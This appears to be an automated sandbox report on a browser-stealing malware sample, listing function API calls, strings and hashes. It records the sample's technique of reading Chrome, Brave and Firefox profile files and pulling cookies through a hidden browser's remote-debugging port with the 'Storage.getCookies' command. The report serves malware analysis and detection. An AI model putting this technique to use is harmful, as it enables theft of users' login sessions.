Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$InternetOpen
String ID: "$------
API String ID: 2041821634-2370822465
Opcode ID: 53d85cb466c86e72434c1e37bb641cd46262d32c01f6edcec39cd68d14d848f3
Instruction ID: 6e4ec0111c205391912e38bf661ff11bad190d18b8aeca8c8ab6dd4567af0503
Opcode Fuzzy Hash: 53d85cb466c86e72434c1e37bb641cd46262d32c01f6edcec39cd68d14d848f3
Instruction Fuzzy Hash: 47525D71A006159BDB20AFB5DD89A9F77B5AF04304F15503AF905B72E1DB78DC02CBA8

Function 00404B80 Relevance: 111.1, APIs: 61, Strings: 2, Instructions: 807stringnetworkCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 00404BAF
lstrcpy.KERNEL32(00000000,0042D01C), ref: 00404C02
lstrcpy.KERNEL32(00000000,0042D01C), ref: 00404C35
lstrcpy.KERNEL32(00000000,0042D01C), ref: 00404C65
lstrcpy.KERNEL32(00000000,0042D01C), ref: 00404CA3
lstrcpy.KERNEL32(00000000,0042D01C), ref: 00404CD6
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404CE6

Strings

", xrefs: 00405154, 00405242
------, xrefs: 00404E0C, 00404E39, 004050BB, 004051AC

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$InternetOpen
String ID: "$------
API String ID: 2041821634-2370822465
Opcode ID: aa1ffb495b5a1a8297d7b32b130359518804b98df94b57f0d4209b8f01405e2c
Instruction ID: 3d76f0258b2b83aa8be313ed1ebcb7339ace054ba83e5e4a7f5f9db4c98bf580
Opcode Fuzzy Hash: aa1ffb495b5a1a8297d7b32b130359518804b98df94b57f0d4209b8f01405e2c
Instruction Fuzzy Hash: A9526F71A006169BDB10AFA5DC49B9F77B5AF44304F14503AF904B72A1DB78ED42CBE8

Function 0040DD70 Relevance: 95.8, APIs: 48, Strings: 6, Instructions: 1264stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,0042D01C), ref: 0040DDC3
lstrcpy.KERNEL32(00000000,?), ref: 0040DE0E
lstrcpy.KERNEL32(00000000,0042D01C), ref: 0040DE4F
lstrcpy.KERNEL32(00000000,0042D01C), ref: 0040DE7F
FindFirstFileA.KERNEL32(?,?), ref: 0040DE90

Strings

Brave, xrefs: 0040E15D
1#v, xrefs: 0040DE90
Preferences, xrefs: 0040E174
\Brave\Preferences, xrefs: 0040E29C
Google Chrome, xrefs: 0040E7A8
P2#v, xrefs: 0040E9D8

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindFirst
String ID: Brave$Google Chrome$P2#v$Preferences$\Brave\Preferences$1#v
API String ID: 157892242-1392536997
Opcode ID: f281f7fd1accdfe9f22bb655541760295eb5eaa961ffd534f31e5c0eca428292
Instruction ID: 1a00339eadac9bce7d6a05cafcded95058b9209d987af67dc5b613236cee1cba
Opcode Fuzzy Hash: f281f7fd1accdfe9f22bb655541760295eb5eaa961ffd534f31e5c0eca428292
Instruction Fuzzy Hash: 42B26E71E012158FCB24EF66C948A9A77B5AF44314F18857EE809BB3A1DB78EC41CF94

Function 00414EC0 Relevance: 83.3, APIs: 44, Strings: 3, Instructions: 1096stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,0042D01C), ref: 00414F02
lstrcpy.KERNEL32(00000000,00000000), ref: 00414F2B
lstrcatA.KERNEL32(00000000,00000000), ref: 00414F39
lstrlenA.KERNEL32(0043527C), ref: 00414F44
lstrcpy.KERNEL32(00000000,00000000), ref: 00414F61
lstrcatA.KERNEL32(00000000,0043527C), ref: 00414F6D
lstrcpy.KERNEL32(00000000,00000000), ref: 00414F9B
FindFirstFileA.KERNEL32(00000000,?), ref: 00414FB5

Strings

prefs.js, xrefs: 004151A1
1#v, xrefs: 00414FB5
P2#v, xrefs: 00415689

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$FileFindFirstlstrlen
String ID: P2#v$prefs.js$1#v
API String ID: 2567437900-2885088814
Opcode ID: e22c57176f6870ca7847d41d2d0045f5645f2948cfa3cb21279d6c4599f6673f
Instruction ID: ed76c696c02cbe49269b7d9a033691afc34dc3a5515b063b7c0039c95f91dbcb
Opcode Fuzzy Hash: e22c57176f6870ca7847d41d2d0045f5645f2948cfa3cb21279d6c4599f6673f
Instruction Fuzzy Hash: CA924170A11601CFDB24DF29C988B9BB7E5AF84314F18816EE8099B3A1D779DC81CF95

Function 004248D0 Relevance: 72.9, APIs: 33, Strings: 8, Instructions: 1120stringnetworkCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 004248FE
strlen.MSVCRT ref: 00424928

Part of subcall function 004089B0: std::_Xinvalid_argument.LIBCPMT ref: 004089C6

strlen.MSVCRT ref: 0042496D
memcmp.MSVCRT(?,ws://,?), ref: 004249A3

Part of subcall function 004089B0: std::_Xinvalid_argument.LIBCPMT ref: 004089FD
Part of subcall function 004089B0: memcpy.MSVCRT(?,00000000,?,00000000,?,?,00408800,?,00000000,004077D7), ref: 00408A5B

Part of subcall function 004258B0: memmove.MSVCRT(?,?,?,00000000), ref: 004258F7

WSAStartup.WS2_32(00000202,?), ref: 00424C45
strlen.MSVCRT ref: 00424C67

Strings

tUC, xrefs: 00425120, 0042515A
Connection: UpgradeUpgrade: websocketSec-WebSocket-Key: , xrefs: 00424F24
Sec-WebSocket-Version: 13, xrefs: 00424F48
HTTP/1.1Host: , xrefs: 00424EE2
:, xrefs: 00424B22
ws://, xrefs: 00424968, 0042499D
{"id":1,"method":"Storage.getCookies"}, xrefs: 00425023
tUC, xrefs: 004257FC, 00424E46, 00424FE0, 004255A0, 004251AE, 00424D20, 00424C53

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: strlen$Xinvalid_argumentstd::_$Startupmemcmpmemcpymemmove
String ID: Connection: UpgradeUpgrade: websocketSec-WebSocket-Key: $Sec-WebSocket-Version: 13$ HTTP/1.1Host: $:$tUC$tUC$ws://${"id":1,"method":"Storage.getCookies"}
API String ID: 938782968-3867872109
Opcode ID: 607b4a6792b9681564c79d3b1867a67460cd90eb744b9f266042503bd840b257
Instruction ID: 0b52f2337470e6ff7830514cd1915e1be7147ce9ab886fde13be214eba552e4f
Opcode Fuzzy Hash: 607b4a6792b9681564c79d3b1867a67460cd90eb744b9f266042503bd840b257
Instruction Fuzzy Hash: EEA25770E01269DFDB20DBA8D9407EDBBB6FF48304F5481AAD508A7281DB785E85CF94

Function 00404980 Relevance: 61.4, APIs: 34, Strings: 1, Instructions: 115
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404994
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040499B
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004049A2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004049A9
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004049B0
GetProcessHeap.KERNEL32(00000000,?), ref: 004049BB
RtlAllocateHeap.NTDLL(00000000), ref: 004049C2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004049D2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004049D9
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004049E0
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004049E7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004049EE
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004049F9
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404A00
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404A07
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404A0E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404A15
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404A2B
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404A32
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404A39
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404A40
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404A47
strlen.MSVCRT ref: 00404A4F
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404A73
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404A7A
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404A81
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404A88
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404A8F
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404A9F
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404AA6
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404AAD
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404AB4
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404ABB
VirtualProtect.KERNEL32(00000000,00000004,00000100,?), ref: 00404AD0

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040498F, 00404996, 0040499D, 004049A4, 004049AB, 004049CA, 004049D4, 004049DB, 004049E2, 004049E9, 004049F0, 004049FB, 00404A02, 00404A09, 00404A10, 00404A26, 00404A2D, 00404A34, 00404A3B, 00404A42, 00404A63, 00404A75, 00404A7C, 00404A83, 00404A8A, 00404A9A, 00404AA1, 00404AA8, 00404AAF, 00404AB6

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-3329630956
Opcode ID: 648d1945a8e78d2920b786962cfb4327a7225a4b617986e01cc053d4b47dd9f8
Instruction ID: b976f621a285676a782449271a3d4679fbc9c103050bad115e002125ab2a9229
Opcode Fuzzy Hash: 648d1945a8e78d2920b786962cfb4327a7225a4b617986e01cc053d4b47dd9f8
Instruction Fuzzy Hash: A331E520F8061C7F86207BE56C4ABDF7E54DF8C760F285253F51856188C9A86E068EEA

Function 004263C0 Relevance: 58.0, APIs: 32, Strings: 1, Instructions: 218
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,00801210), ref: 00426419
GetProcAddress.KERNEL32(76210000,00801258), ref: 00426432
GetProcAddress.KERNEL32(76210000,00801348), ref: 0042644A
GetProcAddress.KERNEL32(76210000,00801390), ref: 00426462
GetProcAddress.KERNEL32(76210000,00809858), ref: 0042647B
GetProcAddress.KERNEL32(76210000,00806110), ref: 00426493
GetProcAddress.KERNEL32(76210000,00806410), ref: 004264AB
GetProcAddress.KERNEL32(76210000,00801330), ref: 004264C4
GetProcAddress.KERNEL32(76210000,008013C0), ref: 004264DC
GetProcAddress.KERNEL32(76210000,008013D8), ref: 004264F4
GetProcAddress.KERNEL32(76210000,00801360), ref: 0042650D
GetProcAddress.KERNEL32(76210000,008061F0), ref: 00426525
GetProcAddress.KERNEL32(76210000,008013A8), ref: 0042653D
GetProcAddress.KERNEL32(76210000,008013F0), ref: 00426556
GetProcAddress.KERNEL32(76210000,00806210), ref: 0042656E
GetProcAddress.KERNEL32(76210000,00801378), ref: 00426586
GetProcAddress.KERNEL32(76210000,00809BF8), ref: 0042659F
GetProcAddress.KERNEL32(76210000,00806230), ref: 004265B7
GetProcAddress.KERNEL32(76210000,00809D00), ref: 004265CF
GetProcAddress.KERNEL32(76210000,00806310), ref: 004265E8
LoadLibraryA.KERNEL32(00809E20,?,?,?,00421BE3), ref: 004265F9
LoadLibraryA.KERNEL32(00809CE8,?,?,?,00421BE3), ref: 0042660B
LoadLibraryA.KERNEL32(00809D48,?,?,?,00421BE3), ref: 0042661D
LoadLibraryA.KERNEL32(00809C88,?,?,?,00421BE3), ref: 0042662E
LoadLibraryA.KERNEL32(00809C28,?,?,?,00421BE3), ref: 00426640
GetProcAddress.KERNEL32(75B30000,00809CA0), ref: 0042665D
GetProcAddress.KERNEL32(751E0000,00809D60), ref: 00426679
GetProcAddress.KERNEL32(751E0000,00809DF0), ref: 00426691
GetProcAddress.KERNEL32(76910000,00809D90), ref: 004266AD
GetProcAddress.KERNEL32(75670000,00806130), ref: 004266C9
GetProcAddress.KERNEL32(77310000,00809748), ref: 004266E5
GetProcAddress.KERNEL32(77310000,NtQueryInformationProcess), ref: 004266FC

Strings

NtQueryInformationProcess, xrefs: 004266F1

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 785f084181ea9e243d595661f90f503cc0c0e9362d12c36ffa3c1b3879f30004
Instruction ID: 34e88d40dcd1f025416e67492db3e0d2c91d5f52a241283a488623a8b285bcaa
Opcode Fuzzy Hash: 785f084181ea9e243d595661f90f503cc0c0e9362d12c36ffa3c1b3879f30004
Instruction Fuzzy Hash: 4CA16DB9A117009FD758DF65EE88A6637BBF789344300A51EF94683364DBB4A900DFB0

Function 004115E0 Relevance: 56.3, APIs: 29, Strings: 3, Instructions: 335
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(00000000,0042D01C), ref: 00411602
lstrcpy.KERNEL32(00000000,00000000), ref: 00411625
lstrcatA.KERNEL32(00000000,00000000), ref: 00411630
lstrlenA.KERNEL32(0043527C), ref: 0041163B
lstrcpy.KERNEL32(00000000,00000000), ref: 00411658
lstrcatA.KERNEL32(00000000,0043527C), ref: 00411664
lstrcpy.KERNEL32(00000000,00000000), ref: 00411692
FindFirstFileA.KERNEL32(00000000,?), ref: 004116AC
StrCmpCA.SHLWAPI(?,00431D70), ref: 004116CB
StrCmpCA.SHLWAPI(?,00431D74), ref: 004116E3
lstrcpy.KERNEL32(00000000,0042D01C), ref: 00411720
lstrcpy.KERNEL32(00000000,?), ref: 00411749
lstrcatA.KERNEL32(00000000,00000000), ref: 00411754
lstrlenA.KERNEL32(00431D64), ref: 0041175F
lstrcpy.KERNEL32(00000000,00000000), ref: 0041177C
lstrcatA.KERNEL32(00000000,00431D64), ref: 00411788
lstrlenA.KERNEL32(?), ref: 00411793
lstrcpy.KERNEL32(00000000,00000000), ref: 004117B5
lstrcatA.KERNEL32(00000000,?), ref: 004117C1
lstrcpy.KERNEL32(00000000,00000000), ref: 004117EE
StrCmpCA.SHLWAPI(?,008108A0), ref: 00411815
lstrcpy.KERNEL32(00000000,?), ref: 00411856
lstrcpy.KERNEL32(00000000,?), ref: 0041187F
lstrcpy.KERNEL32(00000000,?), ref: 004118B3
lstrcpy.KERNEL32(00000000,?), ref: 00411B24
lstrcpy.KERNEL32(00000000,?), ref: 00411B58
lstrcpy.KERNEL32(00000000,?), ref: 00411B93
FindNextFileA.KERNELBASE(00000000,?), ref: 00411BBB
FindClose.KERNEL32(00000000), ref: 00411BCA

Strings

1#v, xrefs: 004116AC
h|RC, xrefs: 00411636
P2#v, xrefs: 00411BBB

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$Findlstrlen$File$CloseFirstNext
String ID: P2#v$h|RC$1#v
API String ID: 1346933759-2386404012
Opcode ID: 4ce7d6dd5cb8e2336b514509b0f16f942ec941a07a32cfb3e7f3374f52dbe830
Instruction ID: 993b6ba422cc50bec9ab770cf3dd978c46567ff82d66523cfd4990144f41d8d3
Opcode Fuzzy Hash: 4ce7d6dd5cb8e2336b514509b0f16f942ec941a07a32cfb3e7f3374f52dbe830
Instruction Fuzzy Hash: CAC18F71A007029BC724AF35CD89AAB77E9AF44304F04453EF955A33B1DB78DC458BA9

Function 004097A0 Relevance: 47.5, APIs: 24, Strings: 3, Instructions: 235
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 004097C4
lstrcatA.KERNEL32(?,?), ref: 004097D8
lstrcatA.KERNEL32(?,?), ref: 004097ED
lstrcatA.KERNEL32(?, --remote-debugging-port=9229 --profile-directory="), ref: 00409800
memset.MSVCRT ref: 00409815

Part of subcall function 00423E10: lstrcpy.KERNEL32(00000000,0042D01C), ref: 00423E45
Part of subcall function 00423E10: lstrcpy.KERNEL32(00000000,0080D4A8), ref: 00423E6F
Part of subcall function 00423E10: GetSystemTime.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,00404D2A,?,00000014), ref: 00423E79

wsprintfA.USER32 ref: 00409846
OpenDesktopA.USER32(?,00000000,00000001,10000000), ref: 00409869
CreateDesktopA.USER32(?,00000000,00000000,00000000,10000000,00000000), ref: 00409888
memset.MSVCRT ref: 004098A6
lstrcatA.KERNEL32(?,?,?,00000000,00000103), ref: 004098BB
lstrcatA.KERNEL32(?,?), ref: 004098CD
lstrcatA.KERNEL32(?,00435138), ref: 004098DD
memset.MSVCRT ref: 004098F2
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040991A
lstrcpy.KERNEL32(00000000,?), ref: 00409950
StrStrA.SHLWAPI(?,00810FA8), ref: 00409965
lstrcpyn.KERNEL32(006393D0,?,00000000), ref: 00409982
lstrlenA.KERNEL32(?), ref: 00409996
wsprintfA.USER32 ref: 004099A6
lstrcpy.KERNEL32(?,?), ref: 004099BD
memset.MSVCRT ref: 004099D3

Strings

--remote-debugging-port=9229 --profile-directory=", xrefs: 004097F3
%s%s, xrefs: 004099A0
D, xrefs: 004099EA

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcat$memset$lstrcpy$Desktopwsprintf$CreateFolderOpenPathSystemTimelstrcpynlstrlen
String ID: --remote-debugging-port=9229 --profile-directory="$%s%s$D
API String ID: 3051782728-1862457068
Opcode ID: 4e4d7dc8cb7354f678b26d48a85cfcd889d62757c3fb554013a5a14013a47a9f
Instruction ID: ff867f6a79aef74f0f53b40539bd2c93bd65c28a17e7ebe5a176e1e9995b64b4
Opcode Fuzzy Hash: 4e4d7dc8cb7354f678b26d48a85cfcd889d62757c3fb554013a5a14013a47a9f
Instruction Fuzzy Hash: 0F91B4B1214340AFD720EF64DC49F9B77E9AF88704F10892DF649972D1DBB4A904CBA6

Function 0041E330 Relevance: 42.2, APIs: 20, Strings: 4, Instructions: 213stringfileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0041E353
FindFirstFileA.KERNEL32(?,?), ref: 0041E369
StrCmpCA.SHLWAPI(?,00431D70), ref: 0041E388
StrCmpCA.SHLWAPI(?,00431D74), ref: 0041E3A0
wsprintfA.USER32 ref: 0041E3C7
StrCmpCA.SHLWAPI(?,0042D01C), ref: 0041E3DC
wsprintfA.USER32 ref: 0041E3F8

Part of subcall function 0041EF30: lstrcpy.KERNEL32(00000000,?), ref: 0041EF62

wsprintfA.USER32 ref: 0041E416
PathMatchSpecA.SHLWAPI(?,?), ref: 0041E42B
lstrcatA.KERNEL32(?,008124B8), ref: 0041E460
lstrcatA.KERNEL32(?,00431D64), ref: 0041E473
lstrcatA.KERNEL32(?,?), ref: 0041E488
lstrcatA.KERNEL32(?,00431D64), ref: 0041E49B
lstrcatA.KERNEL32(?,?), ref: 0041E4B1
CopyFileA.KERNEL32(?,?,00000001), ref: 0041E4C6
lstrcpy.KERNEL32(00000000,?), ref: 0041E4FF
lstrcpy.KERNEL32(00000000,?), ref: 0041E553
DeleteFileA.KERNEL32(?), ref: 0041E594

Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 00401437
Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 00401459
Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 0040147B
Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 004014DF

FindNextFileA.KERNEL32(00000000,?), ref: 0041E5D9
